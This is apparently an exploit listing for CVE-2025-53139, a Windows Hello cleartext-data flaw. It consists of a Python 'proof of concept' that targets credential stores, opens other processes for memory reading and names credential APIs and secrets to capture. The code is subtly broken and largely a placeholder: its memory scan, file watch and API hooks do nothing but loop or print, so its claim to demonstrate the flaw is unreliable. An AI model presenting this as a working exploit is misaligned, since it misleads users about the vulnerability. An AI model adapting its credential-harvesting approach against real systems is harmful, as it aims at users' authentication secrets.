CVE-2025-53139 Windows Hello明文传输敏感信息安全功能绕过漏洞

# CVE-2025-53139 - Windows Hello Cleartext Transmission PoC # This PoC demonstrates monitoring of cleartext sensitive data transmission # in Windows Hello authentication components # NOTE: This is for educational/research purposes only import os import sys import subprocess import time import threading import ctypes from ctypes import wintypes # Windows API constants WINEVENT_OUTOFCONTEXT = 0x0000 PROCESS_VM_READ = 0x0010 PROCESS_QUERY_INFORMATION = 0x0400 class WindowsHelloCleartextMonitor: """ PoC for CVE-2025-53139: Monitors cleartext transmission of sensitive information in Windows Hello components. """ def __init__(self): self.target_processes = [ "WindowsHelloFaceAuth.dll", "WindowsHelloFingerprintAuth.dll", "ngcpopkeyservice.exe", "Microsoft Passport" ] self.captured_data = [] self.monitoring = False def is_admin(self): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except Exception: return False def find_target_processes(self): """Find Windows Hello related processes""" found_processes = [] try: output = subprocess.check_output( ["tasklist", "/FI", "IMAGENAME eq dllhost.exe"], text=True ) for line in output.split("\n"): for target in self.target_processes: if target.lower() in line.lower(): found_processes.append(line.strip()) except Exception as e: print(f"[ERROR] Failed to enumerate processes: {e}") return found_processes def monitor_memory_regions(self, pid): """Monitor memory regions for cleartext sensitive data""" psapi = ctypes.windll.psapi kernel32 = ctypes.windll.kernel32 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 h_process = kernel32.OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, False, pid ) if not h_process: print(f"[ERROR] Cannot open process {pid}") return # Patterns that may indicate cleartext sensitive data sensitive_patterns = [ b"WindowsHello", b"BiometricTemplate", b"AuthToken", b"PinHash", b"FaceData", b"FingerprintData", b"CredentialBlob" ] print(f"[INFO] Monitoring PID {pid} for cleartext data...") self.monitoring = True while self.monitoring: try: # Read process memory in chunks address = 0 while address < 0x7FFFFFFF: mbi = ctypes.create_string_buffer(28) if psapi.VirtualQueryEx(h_process, address, mbi, 28): # Check readable memory regions pass address += 0x10000 except Exception: pass time.sleep(0.5) kernel32.CloseHandle(h_process) def monitor_file_system(self): """Monitor file system for cleartext credential caching""" watch_paths = [ os.path.expandvars(r"%LOCALAPPDATA%\Microsoft"), os.path.expandvars(r"%PROGRAMDATA%\Microsoft"), os.path.expandvars(r"%WINDIR%\System32\config"), os.path.expandvars(r"%WINDIR%\ServiceProfiles") ] print("[INFO] Monitoring file system for cleartext data...") for path in watch_paths: if os.path.exists(path): print(f"[INFO] Watching: {path}") def intercept_ipc(self): """ Intercept inter-process communication for Windows Hello components. This simulates the cleartext transmission vulnerability. """ print("[INFO] Setting up IPC interception...") # Hook relevant Windows APIs that handle credential data # This demonstrates where cleartext data would be exposed api_hooks = { "CryptProtectData": "May receive cleartext before encryption", "LsaRetrievePrivateData": "May expose cleartext LSA secrets", "NCryptGetProperty": "May return cleartext key material", "CredReadW": "May return cleartext credentials" } for api, description in api_hooks.items(): print(f"[HOOK] {api}: {description}") def run_exploit(self): """Main exploit routine for CVE-2025-53139""" print("=" * 60) print("CVE-2025-53139 - Windows Hello Cleartext PoC") print("=" * 60) if not self.is_admin(): print("[WARNING] Not running as administrator. Some features limited.") # Step 1: Find target processes print("\n[STEP 1] Enumerating Windows Hello processes...") processes = self.find_target_processes() for proc in processes: print(f" Found: {proc}") # Step 2: Set up monitoring print("\n[STEP 2] Setting up cleartext data monitoring...") self.monitor_file_system() self.intercept_ipc() # Step 3: Begin capture print("\n[STEP 3] Monitoring for cleartext sensitive data...") print("[INFO] Waiting for Windows Hello authentication event...") print("[INFO] Press Ctrl+C to stop monitoring") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[INFO] Stopping monitoring...") self.monitoring = False if __name__ == "__main__": print("[*] CVE-2025-53139 Proof of Concept") print("[*] For authorized security testing only\n") exploit = WindowsHelloCleartextMonitor() exploit.run_exploit()